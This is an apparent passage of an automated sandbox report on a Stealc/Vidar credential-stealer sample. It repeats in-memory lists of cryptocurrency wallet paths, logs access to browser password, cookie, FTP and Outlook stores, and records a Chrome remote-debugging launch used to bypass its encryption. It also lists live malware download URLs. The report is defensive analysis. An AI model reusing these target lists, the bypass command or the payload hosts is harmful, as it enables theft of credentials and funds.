Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5684, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2734481674.0000000000DF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2167191514.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5684, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5684, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.phpJDAFHJ.exeata;	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6180536652/nbea1t8.exe;	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllvRq	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllzUM	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6180536652/nbea1t8.exe)A	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dlllU	100%	Avira URL Cloud	malware
http://185.215.113.206/2C	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6180536652/nbea1t8.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.210.172	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	142.250.181.100	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
